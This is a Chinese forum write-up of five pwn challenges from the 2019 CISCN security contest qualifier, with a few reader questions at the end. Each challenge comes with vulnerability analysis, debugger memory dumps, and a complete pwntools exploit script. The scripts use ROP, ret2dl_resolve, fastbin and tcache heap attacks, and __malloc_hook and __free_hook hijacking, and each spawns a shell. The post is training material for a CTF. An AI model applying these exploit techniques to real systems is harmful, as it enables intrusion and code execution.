首页
论坛
课程
招聘
[原创]第十二届全国大学生信息安全竞赛 部分pwn题解|writeup CISCN 2019 线上预赛
2019-4-22 21:43 13115

[原创]第十二届全国大学生信息安全竞赛 部分pwn题解|writeup CISCN 2019 线上预赛

2019-4-22 21:43
13115

目录

  • 0x01 your_pwn

    漏洞点

    在这里插入图片描述
    读取数组索引的时候没有限制,所以会引发数组越界漏洞,造成栈空间任意地址读写,所以思路是先泄露栈中的某个返回地址,获取函数装载基地址,就可以计算出plt表和got表的地址,然后再改返回地址进行ROP即可

调试信息如下:可以算出返回地址相对数组起始地址的偏移

gdb-peda$ x/120xg $rsp
0x7fffffffda20:    0x0000015c55000000    0x0000000700000055
0x7fffffffda30:    0x0000000000030201    0x0000000000000000    <- 数组起始
0x7fffffffda40:    0x0000000000000000    0x0000000000000000
...

0x7fffffffdb50:    0x0000000000000000    0x0000000000000000
0x7fffffffdb60:    0x0000000000000000    0x0000000000000000
0x7fffffffdb70:    0x0000000000000000    0x633df2e251a0f000
0x7fffffffdb80:    0x00007fffffffdca0    0x0000555555554b0b    <- 子函数返回地址db88
0x7fffffffdb90:    0x0000000a61616161    0x0000000000000000
...
0x7fffffffdc90:    0x00007fffffffdd80    0x633df2e251a0f000
0x7fffffffdca0:    0x0000555555554ca0    0x00007ffff7a2d830    <- main返回地址dca8
0x7fffffffdcb0:    0x0000000000000000    0x00007fffffffdd88
offset_返回地址 = 0xdb88 - 0xda30 = 344 (0x158)
offset_main返回地址 = 0xdca8 - 0xda30 = 632

尝试了一下,改写sub_B35的返回地址好像不行,所以我选择改写main函数的返回地址来ROP(return to libc)

完整exp

#-*-coding:utf8-*-
from pwn import *

if args['REMOTE']:
    p = remote('1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com',57856)
else:
    p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc

def read(index):
    p.sendlineafter('input index',str(index))
    p.recvuntil('now value(hex) ')
    for i in range(4):
        value = p.recvn(2)
        if value != 'ff':
            break
    if ord(value[1]) == 10:
        value = '0'+value[0:1]
    new_value = int(value,16)
    p.sendlineafter('input new value',str(new_value))
    return value

def write(index,new_value):
    p.sendlineafter('input index',str(index))
    p.sendlineafter('input new value',str(new_value))

#泄露程序装载地址
def leak_addr():
    addr = read(349)
    addr += read(348)
    addr += read(347)
    addr += read(346)
    addr += read(345)
    addr += read(344)
    addr = int(addr,16)-2833
    return addr

#往栈中写入地址的函数
def write_addr(offset,addr):
    write(offset+0,int(addr[-2:],16))
    write(offset+1,int(addr[-4:-2],16))
    write(offset+2,int(addr[-6:-4],16))
    write(offset+3,int(addr[-8:-6],16))
    write(offset+4,int(addr[-10:-8],16))
    write(offset+5,int(addr[-12:-10],16))
    #write(offset+6,'\x00')
    #write(offset+7,'\x00')

#泄露libc装载地址
def leak_libc():
    log.success(puts_plt)
    log.success(str(len(puts_plt)))
    write_addr(632,hex(pop_rdi)) #6
    write_addr(640,puts_got) #6
    write_addr(648,puts_plt) #6
    write_addr(656,hex(start)) #6
    for i in range(41-6-6-6-6-6):
        write(0,1)
    p.sendlineafter('do you want continue(yes/no)?','no')
    p.recvn(2)
    puts_addr = u64(p.recvn(6).ljust(8,'\x00'))
    return puts_addr

def get_shell(system_addr,binsh):
    p.sendlineafter('name:','sunxiaokong')
    write_addr(632,hex(pop_rdi)) #6
    write_addr(640,hex(binsh)) #6
    write_addr(648,hex(system_addr)) #6
    for i in range(41-6-6-6):
        write(0,1)

if __name__ == '__main__':
    p.sendlineafter('name:','lzx')
    elf.address = leak_addr()    #6
    log.success('program address : ' + hex(elf.address))

    puts_plt = hex(elf.plt['puts'])
    puts_got = hex(elf.got['puts'])
    puts_offset = libc.symbols['puts']
    log.success(puts_plt)
    pop_rdi = elf.address + 0x0000000000000d03
    sub_B35 = elf.address + 0xb35
    start = elf.address+0x950
    puts_addr = leak_libc()

    libc.address = puts_addr - puts_offset
    log.success('libc address : ' + hex(libc.address))
    system_addr = libc.symbols['system']
    binsh = next(libc.search('/bin/sh'))
    get_shell(system_addr,binsh)

    #gdb.attach(p)
    p.interactive()

参考资料

return_to_libc的参考资料如下:
https://www.freebuf.com/articles/rookie/182894.html
https://segmentfault.com/a/1190000007406442


  • 0x02 baby_pwn

    漏洞点

    在这里插入图片描述
    就很明显的栈溢出,。但是程序中只有read函数可以利用,所以不能进行常规的ret_to_libc,只能用ret_2_dl_resolve。这道题和0ctf2016的babystack基本上是一样的,gdb调试确定偏移,然后用return to _dl_resolve即可

    exp

import roputils
from pwn import *

read_plt = 0x08048390
bss = 0x0804a040
vul = 0x0804852d

if args['REMOTE']:
    p = remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com',33865)
else:    
    p = process('./pwn')


def getReloc(elf, base):
    jmprel = elf.dynamic('JMPREL')
    relent = elf.dynamic('RELENT')
    addr_reloc, padlen_reloc = elf.align(base, jmprel, relent)
    reloc_offset = addr_reloc - jmprel
    return reloc_offset

rop = roputils.ROP('./pwn')
addr_bss = rop.section('.bss')
payload1 = '0' * 44
payload1 += p32(read_plt) + p32(vul) + p32(0) + p32(addr_bss) + p32(100)
p.send(payload1)
payload2 =  rop.string('sh')
payload2 += rop.fill(20, payload2)
payload2 += rop.dl_resolve_data(addr_bss+20, 'system')   
payload2 += rop.fill(100, payload2)
p.send(payload2)
payload3 = '0'*44 + rop.dl_resolve_call(addr_bss+20, addr_bss) 
p.send(payload3)
p.interactive()

参考资料

关于ret_to_dl_resolve可以参考以下链接,都比较详细
http://rk700.github.io/2015/08/09/return-to-dl-resolve/
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop/#ret2_dl_runtime_resolve


  • 0x03 Double

    程序逻辑

    程序维护了一个单向链表,有两个全局变量,一个全局变量是链表头,一个全局变量是链表尾。链表节点结构体如下:
    在这里插入图片描述

    漏洞点:

    在这里插入图片描述
    如果连续两个申请的content的内容是一样的话,两个结构体的content指针是会指向同一个chunk的,这样就会造成两个指针同时指向同一个chunk,可以类似UAF一样利用

利用思路

先连续申请两个相同的content,大小为unsorted bin的chunk大小,这样,free掉其中一个,把另一个打印出来时就会泄露出main_arena中的某个地址,可以推出libc的地址。然后再连续申请两个相同的content,大小为fastbin的chunk大小,free掉其中一个,使用edit功能修改另一个的content时,就可以修改fastbin中那个chunk的fd指针,使其指向malloc_hook附近,再连续分配两次,就可以分到一个malloc_hook附近的fake_chunk,第二次申请的时候顺便用onegadget填充malloc_hook即可。

泄露libc

unsortedbin
all: 0x916020 —▸ 0x7fb1ba0c3b78 (main_arena+88) ◂— 0x916020    
....
0x7fb1b9cff000     0x7fb1b9ebf000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so

0x7fb1a0c3b78就是泄露出来的地址,0x7fb1b9cff000就是libc的装载基地址,可以计算出偏移

修改fd,分配到malloc_hook附近

pwndbg> x/14xg 0x7f85ad672b10-0x40

0x7f85ad672ad0 <_IO_wide_data_0+272>:    0x0000000000000000    0x0000000000000000
0x7f85ad672ae0 <_IO_wide_data_0+288>:    0x0000000000000000    0x0000000000000000
0x7f85ad672af0 <_IO_wide_data_0+304>:    0x00007f85ad671260    0x0000000000000000    <<<---fake_chunk->size
0x7f85ad672b00 <__memalign_hook>:    0x00007f85ad333e20    0x00007f85ad333a00
0x7f85ad672b10 <__malloc_hook>:    0x0000000000000000    0x0000000000000000    <<<-----malloc_hook
0x7f85ad672b20 <main_arena>:    0x0000000000000000    0x0000000000000000
0x7f85ad672b30 <main_arena+16>:    0x0000000000000000    0x0000000000000000

上面第一个箭头指的地方,0x7f85ad672af5这个地址可以作为 fake chunk 的size域
可得:

fake_chunk->size = 0x7f85ad672af5
malloc_hook = 0x7f85ad672b10
offset = 0x7f85ad672b10 - 0x7f85ad672af5 = 0x1b + 0x10 = 0x2b

最后调用malloc触发onegadget即可

exp

#-*-coding:utf8-*-
from pwn import *

if args['REMOTE']:
    p = remote('e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com',40002)
else:
    p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc

def new(content):
    p.sendlineafter('> ','1')
    p.sendlineafter('Your data:',content)

def show(index):
    p.sendlineafter('> ','2')
    p.sendlineafter('Info index: ',str(index))

def edit(index,new_content):
    p.sendlineafter('> ','3')
    p.sendlineafter('Info index: ',str(index))
    p.sendline(new_content)

def delete(index):
    p.sendlineafter('> ','4')
    p.sendlineafter('Info index: ',str(index))

#通过连续申请两个同样内容的unsorted bin大小的chunk,泄露libc的地址    
def leak_libc():
    new('a'*128) #0
    new('a'*128) #1
    delete(0) #0
    show(1)
    libc_addr = u64(p.recvn(6).ljust(8,'\x00')) - 0x3c4b78
    return libc_addr

def ow_free_hook(fake_chunk,one_gadget):
    new('b'*0x60) #2
    new('b'*0x60) #3
    delete(2) #2
    payload1 = p64(fake_chunk).ljust(0x60,'\x00')
    edit(3,payload1)
    payload2 = 'a'*(0x13)+p64(one_gadget)
    payload2 = payload2.ljust(0x60,'\x00')
    new('c'*0x60) #4
    new(payload2) #5


if __name__ == '__main__':
    libc.address = leak_libc()
    log.success(hex(libc.address))

    malloc_hook = libc.symbols['__malloc_hook']
    fake_chunk = malloc_hook - 0x1b -8
    log.success('__malloc_hook : ' + hex(malloc_hook))
    one_gadget = libc.address + 0x4526a
    ow_free_hook(fake_chunk,one_gadget)
    p.sendlineafter('> ','1')
    gdb.attach(p)
    p.interactive()

参考资料

类似本题中第一阶段利用 unsorted bin 泄露libc基地址的题:
https://github.com/susers/Writeups/blob/master/2017/%E5%8E%A6%E9%97%A8%E9%82%80%E8%AF%B7%E8%B5%9B/Pwn/pwn2/exp.py
类似本题中第二阶段 fastbin attack 同样利用方式的题:
https://bbs.pediy.com/thread-223461.htm
http://lvtao.pro/2018/11/10/fastbin-attack-2017-0ctf-babyheap/


0x04 daily

漏洞点

在remove函数里,没有对index进行检测,那么如果我们能泄露一个堆的地址,在堆上伪造一个daily结构体,使之指向我们想要的地址,结合伪造,就能实现UAF和分配到.bss段之类的了。

泄露堆地址

通过fastbin单链表来泄露堆的地址

def leak_heap():
    new(0x60, 'a') #0 chunk0
    new(0x60, 'a') #1 chunk1
    #new(0x60, 'a') #2 chunk2

    delete(0)
    delete(1) #fastbin->chunk1->chunk0
    new(0x60, 'A') #0 chunk1 fd=chunk0 打印可泄漏堆地址
    show()
    p.recvuntil('0 : A')
    heap_addr = u64(('\x00' + p.recvuntil('=', drop=True)).ljust(8,'\x00'))
    log.success('heap address : ' + hex(heap_addr))
    return heap_addr

泄露libc地址

通过unsorted bin来泄露libc地址。可以在堆中伪造一个daily结构体,其content指针指向一个已经存在在真实daily_list数组中的地址,计算index偏移,将其delete,就能够通过打印真实daily_list数组中的content将main_arena的地址泄露出来,即UAF释放后重用的原理

def leak_libc(heap_addr):
    chunk_list = 0x602060
    fake_content = heap_addr + 0x70 + 0x70 + 0x10 #指向chunk2+0x10
    fake_index = (heap_addr+ 0x10 - chunk_list)/0x10 #
    new(0x60, p64(0x80)+p64(fake_content))#1
    new(0x100, p64(1)) #2 chunk2
    new(0x60, 'a')#3 chunk3
    delete(fake_index)  #此时chunk2已在unsorted bin中
    show()    #打印泄漏main_arena地址
    p.recvuntil('2 : ')
    leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
    log.success('leak address : ' + hex(leak_addr))
    offset = 0x7f6f0c800b78 - 0x00007f6f0c43c000
    libc.address = leak_addr - offset
    log.success('libc address : ' + hex(libc.address))

分配堆到全局变量上,修改free_hook

跟刚才一样,通过UAF修改一个fastbin中的chunk的fd指针,使之指向daily_list中伪造好size的fake_chunk,连续分配两次即可分配到.bss段的全局变量daily_list上,将某个content指针覆写成free_hook的地址,再使用change功能将free_hook内容修改成system函数装载地址即可

def fastbin_attack():
    chunk_list = 0x602060
    fake_content = heap_addr + 0x70 + 0x70 + 0x110 +0x10
    fake_index = (heap_addr+ 0x10 - chunk_list)/0x10
    change(1, p64(0x60) + p64(fake_content))
    delete(fake_index)
    free_hook = libc.symbols['__free_hook']
    log.success('free hook : ' + hex(free_hook))
    new(0x71,'a') #4 fake_chunk->size=0x71
    fake_chunk = chunk_list + 0x38
    change(3,p64(fake_chunk)) #chunk3->fd=fake_chunk
    new(0x60, 'a') #5
    new(0x60, p64(free_hook)) #分配到.bss段上 4->content = free_hook
    system = libc.symbols['system'] 
    change(4, p64(system)) #往free_hook写入system函数地址
    change(0, '/bin/sh')
    delete(0) #触发system('/bin/sh')

完整EXP

#-*-coding:utf-8-*-
from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc

def show():
    p.recvuntil(":")
    p.sendline("1")

def new(lens, content):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(lens))
    p.recv()
    p.send(content)

def change(index, content):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(index))
    p.recv()
    p.send(content)

def delete(index):
    p.recvuntil(":")
    p.sendline("4")
    p.recvuntil(":")
    p.sendline(str(index))

def leak_heap():
    new(0x60, 'a') #0 chunk0
    new(0x60, 'a') #1 chunk1
    #new(0x60, 'a') #2 chunk2

    delete(0)
    delete(1) #fastbin->chunk1->chunk0
    new(0x60, 'A') #0 chunk1 fd=chunk0 打印可泄漏堆地址
    show()
    p.recvuntil('0 : A')
    heap_addr = u64(('\x00' + p.recvuntil('=', drop=True)).ljust(8,'\x00'))
    log.success('heap address : ' + hex(heap_addr))
    return heap_addr

def leak_libc(heap_addr):
    chunk_list = 0x602060
    fake_content = heap_addr + 0x70 + 0x70 + 0x10 #指向chunk2+0x10
    fake_index = (heap_addr+ 0x10 - chunk_list)/0x10 #
    new(0x60, p64(0x80)+p64(fake_content))#1
    new(0x100, p64(1)) #2 chunk2
    new(0x60, 'a')#3 chunk3
    delete(fake_index)  #此时chunk2已在unsorted bin中
    show()    #打印泄漏main_arena地址
    p.recvuntil('2 : ')
    leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
    log.success('leak address : ' + hex(leak_addr))
    offset = 0x7f6f0c800b78 - 0x00007f6f0c43c000
    libc.address = leak_addr - offset
    log.success('libc address : ' + hex(libc.address))

def fastbin_attack():
    chunk_list = 0x602060
    fake_content = heap_addr + 0x70 + 0x70 + 0x110 +0x10
    fake_index = (heap_addr+ 0x10 - chunk_list)/0x10
    change(1, p64(0x60) + p64(fake_content))
    delete(fake_index)
    free_hook = libc.symbols['__free_hook']
    log.success('free hook : ' + hex(free_hook))
    new(0x71,'a') #4 fake_chunk->size=0x71
    fake_chunk = chunk_list + 0x38
    change(3,p64(fake_chunk)) #chunk3->fd=fake_chunk
    new(0x60, 'a') #5
    new(0x60, p64(free_hook)) #分配到.bss段上 4->content = free_hook
    system = libc.symbols['system'] 
    change(4, p64(system)) #往free_hook写入system函数地址
    change(0, '/bin/sh')
    delete(0) #触发system('/bin/sh')

if __name__ == '__main__':
    heap_addr = leak_heap()
    leak_libc(heap_addr)
    fastbin_attack()
    #gdb.attach(p)
    p.interactive()

0x05 bms

本题我是赛后复盘,听说比赛中是glibc-2.26的版本,我用的是glibc-2.27版本复现,利用方式一样。

程序分析

在delete功能函数中存在free后指针不清零的漏洞,由于glibc版本 > 2.26 ,可以导致tcache bin的double free

tcache_dup的相关介绍:https://firmianay.gitbooks.io/ctf-all-in-one/doc/4.14_glibc_tcache.html

覆盖_IO_2_1stdout\ ,泄露libc地址

但是程序中没有打印输出的功能,无法通过常规的UAF泄露libc地址。因此本题利用tcache_dup分配chunk到_IO_2_1stdout\,覆盖_IO_2_1stdout\结构体中的_IO_write_base、_IO_write_ptr、_IO_write_end来打印出某个libc函数got表中的地址,达到泄露libc地址的目的。

 

这种泄露地址方式的相关介绍:

 

https://www.bbsmax.com/A/Gkz1m1jNzR/

 

https://xz.aliyun.com/t/5057#toc-0

 

https://zszcr.github.io/2019/03/18/2019-3-18-tcache%E4%B8%8B%E7%9A%84%E5%87%A0%E9%81%93pwn%E9%A2%98/

劫持__free_hook

泄露出libc的地址后,再做一次tcache_dup,将chunk分配到__free_hook,将__free_hook的值修改为system函数的地址。再释放一个内容为'/bin/sh'字符串的chunk即可触发system('/bin/sh')

完整EXP

from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc
p.sendlineafter('username:', 'admin')
p.sendlineafter('password:', 'frame')

def add(name,size,description):
    p.sendlineafter('>', '1')
    p.sendlineafter('book name:', name)
    p.sendlineafter('description size:', str(size))
    p.sendafter('description:', description)

def delete(index):
    p.sendlineafter('>', '2')
    p.sendlineafter('index:', str(index))

def leak_libc():
    puts_got = elf.got['puts']
    puts_offset = libc.symbols['puts']
    stdout = 0x602020
    add('0', 0x60, 'a')
    delete(0)
    delete(0)
    add('1', 0x60, p64(stdout))
    add('2', 0x60, 'a')
    add('3', 0x60, '\x60')
    fake_stdout = p64(0xfbad1800)+p64(0)*3+p64(puts_got)+p64(puts_got+8)+p64(puts_got+8)
    add('4', 0x60, fake_stdout)
    data = p.recvn(8)
    puts_addr = u64(data)
    log.success('puts_addr : ' + hex(puts_addr))
    libc.address = puts_addr - puts_offset
    log.success('libc address : ' + hex(libc.address))

def hijack_free_hook():
    free_hook = libc.symbols['__free_hook']
    log.success('__free_hook : ' + hex(free_hook))
    system = libc.symbols['system']
    add('5', 0x30, 'a')
    delete(5)
    delete(5)
    add('6', 0x30, p64(free_hook))
    add('7', 0x30, '/bin/sh\x00')
    add('8', 0x30, p64(system))
    delete(7) # __free_hook - system('/bin/sh')

leak_libc()
hijack_free_hook()
p.interactive()

[公告]看雪技术峰会,技术大牛大型线下交流见面会,2020年10月23日 上海浦东喜来登由由大酒店!

最后于 2019-8-12 16:17 被孙小空-Liu编辑 ,原因:
上传的附件:
收藏
点赞2
打赏
分享
最新回复 (5)
雪    币: 205
活跃值: 活跃值 (35)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
Muirelle 活跃值 2019-5-3 17:29
2
0
你好,能问下double exp里的leak_libc的0x3c4b78是怎么得到的吗?
雪    币: 1140
活跃值: 活跃值 (32)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
孙小空-Liu 活跃值 2019-5-10 20:36
3
0
gdb调试
雪    币: 1140
活跃值: 活跃值 (32)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
孙小空-Liu 活跃值 2019-5-10 20:38
4
0
Muirelle 你好,能问下double exp里的leak_libc的0x3c4b78是怎么得到的吗?
gdb调试
雪    币: 10
活跃值: 活跃值 (963)
能力值: ( LV5,RANK:75 )
在线值:
发帖
回帖
粉丝
Vinadiak 活跃值 1 2019-8-9 10:58
5
0
请问这个程序装载地址是怎么得到的,我是新手,求指教
雪    币: 1140
活跃值: 活跃值 (32)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
孙小空-Liu 活跃值 2019-8-12 16:19
6
0
wx__y 请问这个程序装载地址是怎么得到的,我是新手,求指教
如果是没有开启PIE的话,那么是固定的,如果开启了PIE,可以看虚拟内存映射,比如说pwndbg插件的vmmap命令
游客
登录 | 注册 方可回帖
返回